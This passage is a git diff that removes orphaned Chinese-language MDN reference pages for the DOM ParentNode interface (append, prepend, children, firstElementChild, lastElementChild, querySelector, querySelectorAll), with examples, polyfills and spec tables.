@@ ---- -title: ParentNode.append() -slug: orphaned/Web/API/ParentNode/append -tags: - - API - - DOM - - Node - - ParentNode - - Reference -translation_of: Web/API/ParentNode/append -original_slug: Web/API/ParentNode/append ---- -<div>{{APIRef("DOM")}}</div> - -<div> <strong><code>ParentNode.append</code></strong> 方法在 <code>ParentNode</code>的最后一个子节点之后插入一组 {{domxref("Node")}} 对象或 {{domxref("DOMString")}} 对象。</div> - -<div>被插入的 {{domxref("DOMString")}} 对象等价为 {{domxref("Text")}} 节点。</div> - -<div></div> - -<div>与 {{domxref("Node.appendChild()")}} 的差异:</div> - -<div></div> - -<ul> - <li><code>ParentNode.append()</code>允许追加 {{domxref("DOMString")}} 对象,而<code><font face="Open Sans, Arial, sans-serif"> </font>Node.appendChild()</code> 只接受 {{domxref("Node")}} 对象。</li> - <li><code>ParentNode.append()</code> <a href="https://repl.it/FgPh/1">没有返回值</a>,而 <code>Node.appendChild()</code> 返回追加的 {{domxref("Node")}} 对象。</li> - <li><code>ParentNode.append()</code> 可以追加多个节点和字符串,而 <code>Node.appendChild()</code> 只能追加一个节点。</li> -</ul> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">[Throws, Unscopable] -void ParentNode.append((Node or DOMString)... nodes); -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>nodes</code></dt> - <dd>一组要插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。</dd> -</dl> - -<h3 id="异常">异常</h3> - -<ul> - <li>{{domxref("HierarchyRequestError")}}: 在层次结构中的指定点不能插入节点。</li> -</ul> - -<h2 id="示例">示例</h2> - -<h3 id="插入一个元素节点">插入一个元素节点</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var p = document.createElement("p"); -parent.append(p); - -console.log(parent.childNodes); // NodeList [ <p> ] -</pre> - -<h3 id="插入文本">插入文本</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -parent.append("Some text"); - -console.log(parent.textContent); // "Some text"</pre> - -<h3 id="插入一个节点,同时插入一些文本">插入一个节点,同时插入一些文本</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var p = document.createElement("p"); -parent.append("Some text", p); - -console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]</pre> - -<h3 id="ParentNode.append_方法在_with_语句中不生效"><code>ParentNode.append()</code> 方法在 with 语句中不生效</h3> - -<p>为了保证向后兼容,append 方法在 with 语句中会被特殊处理,详情请看 {{jsxref("Symbol.unscopables")}}。</p> - -<pre class="brush: js">var parent = document.createElement("div"); - -with(parent) { - append("foo"); -} -// ReferenceError: append is not defined </pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>下面的 Polyfill 只支持到 IE 9 及以上:</p> - -<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md -(function (arr) { - arr.forEach(function (item) { - if (item.hasOwnProperty('append')) { - return; - } - Object.defineProperty(item, 'append', { - configurable: true, - enumerable: true, - writable: true, - value: function append() { - var argArr = Array.prototype.slice.call(arguments), - docFrag = document.createDocumentFragment(); - - argArr.forEach(function (argItem) { - var isNode = argItem instanceof Node; - docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); - }); - - this.appendChild(docFrag); - } - }); - }); -})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容">浏览器兼容</h2> - - - -<p>{{Compat("api.ParentNode.append")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li> - <li>{{domxref("ParentNode.prepend()")}}</li> - <li>{{domxref("Node.appendChild()")}}</li> - <li>{{domxref("ChildNode.after()")}}</li> - <li>{{domxref("NodeList")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/children/index.html b/files/zh-cn/orphaned/web/api/parentnode/children/index.html deleted file mode 100644 index 70a02ddcca..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/children/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: ParentNode.children -slug: orphaned/Web/API/ParentNode/children -tags: - - Property -translation_of: Web/API/ParentNode/children -original_slug: Web/API/ParentNode/children ---- -<p>{{ APIRef("DOM") }}</p> - -<p><code><strong>ParentNode.children </strong></code>是一个只读属性,返回 一个Node的子{{domxref("Element","elements")}} ,是一个动态更新的 {{domxref("HTMLCollection")}}。</p> - -<h2 id="Syntax_and_values" name="Syntax_and_values">语法</h2> - -<pre>var <em>children</em> = <em>node</em>.children;</pre> - -<pre class="eval">var <em>elList</em> = elementNodeReference.children; -</pre> - -<h2 id="Notes" name="Notes">备注</h2> - -<p><code>children</code> 属性为只读属性,对象类型为 {{ domxref("HTMLCollection") }},你可以使用 <code>elementNodeReference.children[1].nodeName</code> 来获取某个子元素的标签名称。</p> - -<h2 id="Example" name="Example">例子</h2> - -<pre class="brush: js">// parg是一个指向<p>元素的对象引用 -if (parg.childElementCount) -// 检查这个<p>元素是否有子元素 -// 译者注:childElementCount有兼容性问题 - { - var children = parg.children; - for (var i = 0; i < children.length; i++) - { - // 通过children[i]来获取每个子元素 - // 注意:List是一个live的HTMLCollection对象,在这里添加或删除parg的子元素节点,都会立即改变List的值. - }; - }; -</pre> - -<h2 id="规范" style="margin-bottom: 20px; line-height: 30px;">规范</h2> - -<p> </p> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>1</td> - <td>3.5</td> - <td>9 (IE6-8 incl commend nodes)</td> - <td>10</td> - <td>4</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}<span style="font-size: 14px; line-height: 1.5;"></span></td> - </tr> - </tbody> -</table> -</div> - -<p style="margin-bottom: 20px; line-height: 30px;">[1] Internet Explorer 6 - 8 支持该属性,但是可能会错误地包含注释 {{domxref("Comment")}} 节点。</p> - -<h2 id="相关链接" style="margin-bottom: 20px; line-height: 30px;">相关链接</h2> - -<ul> - <li>The {{domxref("ParentNode")}} and {{domxref("ChildNode")}} pure interfaces.</li> - <li> - <div class="syntaxbox">Object types implementing this pure interface: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div> - </li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/firstelementchild/index.html b/files/zh-cn/orphaned/web/api/parentnode/firstelementchild/index.html deleted file mode 100644 index 8e658b4adc..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/firstelementchild/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Element.firstElementChild -slug: orphaned/Web/API/ParentNode/firstElementChild -translation_of: Web/API/ParentNode/firstElementChild -original_slug: Web/API/ParentNode/firstElementChild ---- -<p>{{ APIRef("DOM") }}</p> - -<p><strong><code>ParentNode.firstElementChild</code></strong> 只读属性,返回对象的第一个子 {{domxref("元素")}}, 如果没有子元素,则为null。</p> - -<div class="note"> -<p><span>他的属性最初是在{{domxref("element遍历")}}纯接口中定义的。由于这个接口包含两组不同的属性,一个针对具有子元素的{{domxref("Node")}},一个针对子元素的属性,因此它们被移动到两个单独的纯接口中,{{domxref("ParentNode")}}和{{domxref("ChildNode")}}。在本例中,firstElementChild移动到{{domxref("ParentNode")}}。这是一个相当技术性的更改,不应该影响兼容性。</span></p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">var <em>element</em> = node.firstElementChild; -</pre> - -<h2 id="例子">例子</h2> - -<pre class="brush: html"><ul id="foo"> - <li>First (1)</li> - <li>Second (2)</li> - <li>Third (3)</li> -</ul> - -<script> -var foo = document.getElementById('foo'); -// yields: First (1) -console.log(foo.firstElementChild.textContent); -</script> -</pre> - -<h2 id="适用于_IE8、IE9_和_Safari_的_Polyfill">适用于 IE8、IE9 和 Safari 的 Polyfill</h2> - -<pre><code>// Overwrites native 'firstElementChild' prototype. -// Adds Document & DocumentFragment support for IE9 & Safari. -// Returns array instead of HTMLCollection. -;(function(constructor) { - if (constructor && - constructor.prototype && - constructor.prototype.firstElementChild == null) { - Object.defineProperty(constructor.prototype, 'firstElementChild', { - get: function() { - var node, nodes = this.childNodes, i = 0; - while (node = nodes[i++]) { - if (node.nodeType === 1) { - return node; - } - } - return null; - } - }); - } -})(window.Node || window.Element);</code></pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Splitted the <code>ElementTraversal</code>interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. This method is now defined on the latter.<br> - The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td> - </tr> - <tr> - <td>{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}</td> - <td>{{Spec2('Element Traversal')}}</td> - <td>Added its initial definition to the<code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ParentNode.firstElementChild")}}</p> - -<h2 id="参见">参见</h2> - -<h2 id="Ed"><a class="button section-edit only-icon" href="https://developer.mozilla.org/zh-CN/docs/Web/API/ParentNode/lastElementChild$edit#参见" rel="nofollow, noindex"><span>Ed</span></a></h2> - -<ul> - <li>纯接口 {{domxref("ParentNode")}} 和 {{domxref("ChildNode")}}。</li> - <li> - <div class="syntaxbox">实现了此纯接口的对象类型:{{domxref("Document")}}、{{domxref("Element")}},和 {{domxref("DocumentFragment")}}。</div> - </li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/index.html b/files/zh-cn/orphaned/web/api/parentnode/index.html deleted file mode 100644 index c6b9a42c69..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: ParentNode -slug: orphaned/Web/API/ParentNode -tags: - - API - - DOM - - Mixin - - Node - - 参考 - - 接口 - - 节点 -translation_of: Web/API/ParentNode -original_slug: Web/API/ParentNode ---- -<div>{{APIRef("DOM")}}</div> - -<p><code><strong>ParentNode</strong></code> 混合了所有(拥有子元素的) {{domxref("Node")}} 对象包含的共有方法和属性。</p> - -<p><code>ParentNode</code> 是一个原始接口,不能够创建这种类型的对象;它在 {{domxref("Element")}}、{{domxref("Document")}} 和 {{domxref("DocumentFragment")}} 对象上被实现。</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("ParentNode.childElementCount")}} {{readonlyInline}}</dt> - <dd>返回一个当前 <code>ParentNode</code> 所含有的后代数量。</dd> - <dt>{{domxref("ParentNode.children")}} {{readonlyInline}}</dt> - <dd>返回一个包含 <code>ParentNode</code> 所有后代 {{domxref("Element")}} 对象的动态 {{domxref("HTMLCollection")}} 对象,忽略所有非元素子节点。</dd> - <dt>{{domxref("ParentNode.firstElementChild")}} {{readonlyInline}}</dt> - <dd>返回父节点的第一个 {{domxref("Element")}} 后代,没有时返回 <code>null</code>。</dd> - <dt>{{domxref("ParentNode.lastElementChild")}} {{readonlyInline}}</dt> - <dd>返回父节点的最后一个 {{domxref("Element")}} 后代,没有时返回 <code>null</code>。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{domxref("ParentNode.append()")}} {{experimental_inline}}</dt> - <dd>在父节点 <code>ParentNode</code> 的最后一个后代后面插入一组 {{domxref("Node")}} 对象或 {{domxref("DOMString")}} 对象。{{domxref("DOMString")}} 对象会以同等的 {{domxref("Text")}} 节点插入。</dd> - <dt>{{domxref("ParentNode.prepend()")}} {{experimental_inline}}</dt> - <dd>在父节点 <code>ParentNode</code> 第一个后代前插入一组 {{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象。{{domxref("DOMString")}} 对象会以同等的 {{domxref("Text")}} 节点插入。</dd> - <dt>{{domxref("ParentNode.querySelector()")}}</dt> - <dd>返回以当前元素为根元素,匹配给定选择器的第一个元素 {{domxref("Element")}}。</dd> - <dt>{{domxref("ParentNode.querySelectorAll()")}}</dt> - <dd>返回一个 {{domxref("NodeList")}},表示以当前元素为根元素的匹配给定选择器组的元素列表。</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Split the <code>ElementTraversal</code> interface into {{domxref("ChildNode")}} and {{domxref("ParentNode")}}. The {{domxref("ParentNode.firstElementChild")}}, {{domxref("ParentNode.lastElementChild")}}, and {{domxref("ParentNode.childElementCount")}} properties are now defined on the latter. Added the {{domxref("ParentNode.children")}} property, and the {{domxref("ParentNode.querySelector()")}}, {{domxref("ParentNode.querySelectorAll()")}}, {{domxref("ParentNode.append()")}}, and {{domxref("ParentNode.prepend()")}} methods.</td> - </tr> - <tr> - <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td> - <td>{{Spec2('Element Traversal')}}</td> - <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and used it on {{domxref("Element")}}.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ParentNode")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{domxref("ChildNode")}} 纯接口。</li> - <li> - <div class="syntaxbox">实现此 mixin 的对象类型:{{domxref("Document")}}、{{domxref("Element")}},和 {{domxref("DocumentFragment")}}。</div> - </li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/lastelementchild/index.html b/files/zh-cn/orphaned/web/api/parentnode/lastelementchild/index.html deleted file mode 100644 index 566d3a1976..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/lastelementchild/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Element.lastElementChild -slug: orphaned/Web/API/ParentNode/lastElementChild -translation_of: Web/API/ParentNode/lastElementChild -original_slug: Web/API/ParentNode/lastElementChild ---- -<p>{{ APIRef("DOM") }}</p> - -<p>只读属性 <code><strong>ParentNode.lastElementChild</strong></code> 返回对象的最后一个子{{domxref("Element", "元素")}},如果没有子元素,则返回 <code>null</code>。</p> - -<div class="note"> -<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, <code>lastElementChild</code> moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.</p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">var <em>element</em> = node.lastElementChild; </pre> - -<h2 id="例子">例子</h2> - -<pre class="brush: html"><ul id="foo"> - <li>First (1)</li> - <li>Second (2)</li> - <li>Third (3)</li> -</ul> - -<script> -var foo = document.getElementById('foo'); -// yields: Third (3) -console.log(foo.lastElementChild.textContent); -</script> -</pre> - -<h2 id="适用于_IE8、IE9_和_Safari_的_Polyfill">适用于 IE8、IE9 和 Safari 的 Polyfill</h2> - -<pre class="brush: js">// Overwrites native 'lastElementChild' prototype. -// Adds Document & DocumentFragment support for IE9 & Safari. -// Returns array instead of HTMLCollection. -;(function(constructor) { - if (constructor && - constructor.prototype && - constructor.prototype.lastElementChild == null) { - Object.defineProperty(constructor.prototype, 'lastElementChild', { - get: function() { - var node, nodes = this.childNodes, i = nodes.length - 1; - while (node = nodes[i--]) { - if (node.nodeType === 1) { - return node; - } - } - return null; - } - }); - } -})(window.Node || window.Element); -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-parentnode-lastelementchild', 'ParentNode.lastElementChild')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. This method is now defined on the latter.<br> - The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td> - </tr> - <tr> - <td>{{SpecName('Element Traversal', '#attribute-lastElementChild', 'ElementTraversal.lastElementChild')}}</td> - <td>{{Spec2('Element Traversal')}}</td> - <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ParentNode.lastElementChild")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>纯接口 {{domxref("ParentNode")}} 和 {{domxref("ChildNode")}}。</li> - <li> - <div class="syntaxbox">实现了此纯接口的对象类型:{{domxref("Document")}}、{{domxref("Element")}},和 {{domxref("DocumentFragment")}}。</div> - </li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/prepend/index.html b/files/zh-cn/orphaned/web/api/parentnode/prepend/index.html deleted file mode 100644 index c2779973b0..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/prepend/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: ParentNode.prepend() -slug: orphaned/Web/API/ParentNode/prepend -tags: - - API - - DOM - - Method - - Node - - ParentNode - - Reference - - prepend - - 方法 -translation_of: Web/API/ParentNode/prepend -original_slug: Web/API/ParentNode/prepend ---- -<div>{{APIRef("DOM")}}</div> - -<p><strong><code>ParentNode.prepend</code></strong> 方法可以在父节点的第一个子节点之前插入一系列{{domxref("Node")}}对象或者{{domxref("DOMString")}}对象。{{domxref("DOMString")}}会被当作{{domxref("Text")}}节点对待(也就是说插入的不是HTML代码)。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">ParentNode.prepend((Node or DOMString)... nodes); -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>nodes</code></dt> - <dd>要插入的一系列{{domxref("Node")}}或者{{domxref("DOMString")}}。</dd> -</dl> - -<h3 id="返回值">返回值</h3> - -<p><code>undefined</code>.</p> - -<h3 id="错误">错误</h3> - -<ul> - <li>{{domxref("HierarchyRequestError")}}:节点不能插入当前层级内。</li> -</ul> - -<h2 id="例子">例子</h2> - -<h3 id="Prepending_an_element">Prepending an element</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var p = document.createElement("p"); -var span = document.createElement("span"); -parent.append(p); -parent.prepend(span); - -console.log(parent.childNodes); // NodeList [ <span>, <p> ] -</pre> - -<h3 id="Prepending_text">Prepending text</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -parent.append("Some text"); -parent.prepend("Headline: "); - -console.log(parent.textContent); // "Headline: Some text"</pre> - -<h3 id="Appending_an_element_and_text">Appending an element and text</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var p = document.createElement("p"); -parent.prepend("Some text", p); - -console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]</pre> - -<h3 id="ParentNode.prepend_is_unscopable"><code>ParentNode.prepend()</code> is unscopable</h3> - -<p><code>prepend()不能在with语句内使用,详情参考</code>{{jsxref("Symbol.unscopables")}}。</p> - -<pre class="brush: js">var parent = document.createElement("div"); - -with(parent) { - prepend("foo"); -} -// ReferenceError: prepend is not defined </pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>使用下面的代码在IE9或更高版本中模拟<code>prepend()</code>方法:</p> - -<pre class="brush: js">// from: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/prepend()/prepend().md -(function (arr) { - arr.forEach(function (item) { - item.prepend = item.prepend || function () { - var argArr = Array.prototype.slice.call(arguments), - docFrag = document.createDocumentFragment(); - - argArr.forEach(function (argItem) { - var isNode = argItem instanceof Node; - docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); - }); - - this.insertBefore(docFrag, this.firstChild); - }; - }); -})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre> - -<h2 id="说明">说明</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-parentnode-prepend', 'ParentNode.prepend()')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="兼容性">兼容性</h2> - - - -<p>{{Compat("api.ParentNode.prepend")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li> - <li>{{domxref("ParentNode.append()")}}</li> - <li>{{domxref("Node.appendChild()")}}</li> - <li>{{domxref("Node.insertBefore()")}}</li> - <li>{{domxref("ChildNode.before()")}}</li> - <li>{{domxref("NodeList")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/queryselector/index.html b/files/zh-cn/orphaned/web/api/parentnode/queryselector/index.html deleted file mode 100644 index 7623caa0ba..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/queryselector/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: ParentNode.querySelector() -slug: orphaned/Web/API/ParentNode/querySelector -translation_of: Web/API/ParentNode/querySelector -original_slug: Web/API/ParentNode/querySelector ---- -<p>{{APIRef("DOM")}}{{Draft}}</p> - -<p>{{DOMxRef("ParentNode")}} mixin 将 <code><strong>querySelector()</strong></code> 方法定义为返回一个 {{DOMxRef("Element")}} 表示与指定的选择器组匹配的第一个元素,这些选择器是调用该方法的对象的后代。</p> - -<p>如果您需要与选择器列表匹配的所有元素,使用 {{DOMxRef("ParentNode.querySelectorAll", "querySelectorAll()")}} 。</p> - -<div class="blockIndicator note"> -<p><strong>Note:</strong> 该方法的实现为 {{DOMxRef("Document.querySelector()")}}, {{DOMxRef("DocumentFragment.querySelector()")}} 和 {{DOMxRef("Element.querySelector()")}}.</p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><var>element</var> = <em>parentNode</em>.querySelector(<var>selectors</var>); -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>selectors</code></dt> - <dd>{{DOMxRef("DOMString")}} 包含一个或多个要匹配的选择器。该字符串必须是浏览器支持的<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors">compound selector list</a> ;如果不是, 会抛出 <code>SyntaxError</code> 异常. 查阅 <a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a> 获取有关选择器使用的更多信息. 可以通过使用逗号分隔多个选择器来指定它们。</dd> -</dl> - -<div class="blockIndicator note"> -<p><strong>Note:</strong> 必须使用反斜杠字符转义不属于CSS语法的字符。由于JavaScript也使用退格转义,因此在使用这些字符编写字符串文字是必须特别小心。查阅 {{anch("Escaping special characters")}} 获取更多信息。</p> -</div> - -<h3 id="返回值">返回值</h3> - -<p>第一个 {{DOMxRef("Element")}} 匹配至少一个指定的选择器,如果没有找到这样的元素,返回 <code>null</code> 。</p> - -<div class="blockIndicator note"> -<p><strong>Note:</strong> 如果指定的选择器包含 <a href="/en-US/docs/Web/CSS/Pseudo-elements">CSS pseudo-element</a>, 则返回值始终为 <code>null</code>.</p> -</div> - -<h3 id="Exceptions">Exceptions</h3> - -<dl> - <dt><code>SyntaxError</code></dt> - <dd>指定的 <code>selectors</code> 字符串语法无效。</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}</td> - <td>{{Spec2("DOM WHATWG")}}</td> - <td>Living standard</td> - </tr> - <tr> - <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}</td> - <td>{{Spec2("Selectors API Level 2")}}</td> - <td>No change</td> - </tr> - <tr> - <td>{{SpecName("DOM4", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}</td> - <td>{{Spec2("DOM4")}}</td> - <td>Initial definition</td> - </tr> - <tr> - <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td> - <td>{{Spec2("Selectors API Level 1")}}</td> - <td>Original definition</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.ParentNode.querySelector")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a></li> - <li><a href="/en-US/docs/Code_snippets/QuerySelector">Code snippets for <code>querySelector()</code></a></li> - <li><a href="/en-US/docs/Web/CSS/Attribute_selectors">Attribute selectors</a> in the CSS Guide</li> - <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">Attribute selectors</a> in the MDN Learning Area</li> - <li>This method is available as {{DOMxRef("Element.querySelector()")}}, {{DOMxRef("Document.querySelector()")}}, and {{DOMxRef("DocumentFragment.querySelector()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/queryselectorall/index.html b/files/zh-cn/orphaned/web/api/parentnode/queryselectorall/index.html deleted file mode 100644 index 10936dd5d2..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/queryselectorall/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: ParentNode.querySelectorAll() -slug: orphaned/Web/API/ParentNode/querySelectorAll -tags: - - API - - DOM - - Document - - ParentNode - - 参考 - - 方法 - - 查找 - - 选择器 -translation_of: Web/API/ParentNode/querySelectorAll -original_slug: Web/API/ParentNode/querySelectorAll ---- -<div>{{ApiRef("DOM")}}</div> - -<p>The {{domxref("ParentNode")}} mixin defines the <code><strong>querySelectorAll()</strong></code> method 返回一个 {{domxref("NodeList")}} 表示元素的列表,把当前的元素作为根与指定的选择器组相匹配。</p> - -<p>如果你只需要一个结果,可以考虑使用{{domxref("ParentNode.querySelector", "querySelector()")}}方法来代替。</p> - -<div class="note"> -<p><strong>Note:</strong> This method is implemented as {{domxref("Element.querySelectorAll()")}}, {{domxref("Document.querySelectorAll()")}}, and {{domxref("DocumentFragment.querySelectorAll()")}}</p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate"><var>elementList</var> = <em>parentNode</em>.querySelectorAll(<var>selectors</var>); -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>selectors</code></dt> - <dd>一个或多个<a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS选择器</a>,这些选择器由逗号隔开。</dd> - <dd>A {{domxref("DOMString")}} containing one or more selectors to match against. This string must be a valid <a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS selector</a> string; if it's not, a <code>SyntaxError</code> exception is thrown. See <a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a> for more information about using selectors to identify elements. Multiple selectors may be specified by separating them using commas.</dd> -</dl> - -<div class="note"> -<p><strong>Note:</strong> Characters which are not part of standard CSS syntax must be escaped using a backslash character. Since JavaScript also uses backslash escaping, special care must be taken when writing string literals using these characters. See {{anch("Escaping special characters")}} for more information.</p> -</div> - -<h3 id="返回值">返回值</h3> - -<p>一个不存活的 {{domxref("NodeList")}} ,每个子节点拥有一个 {{domxref("Element")}} 对象,其中每个子节点至少与一个选择器相匹配。</p> - -<div class="note"> -<p><strong>Note:</strong> 如果指定的 <code>selectors</code> 包含<a href="/en-US/docs/Web/CSS/Pseudo-elements">CSS pseudo-element</a>,那么返回的列表始终为空。</p> -</div> - -<h3 id="Exceptions">Exceptions</h3> - -<dl> - <dt><code>SyntaxError</code></dt> - <dd>The syntax of the specified <code>selectors</code> string is not valid.</dd> -</dl> - -<h2 id="例子">例子</h2> - -<p>To obtain a {{domxref("NodeList")}} of all of the {{HTMLElement("p")}} elements in the document:</p> - -<pre class="brush: js notranslate">var matches = document.querySelectorAll("p");</pre> - 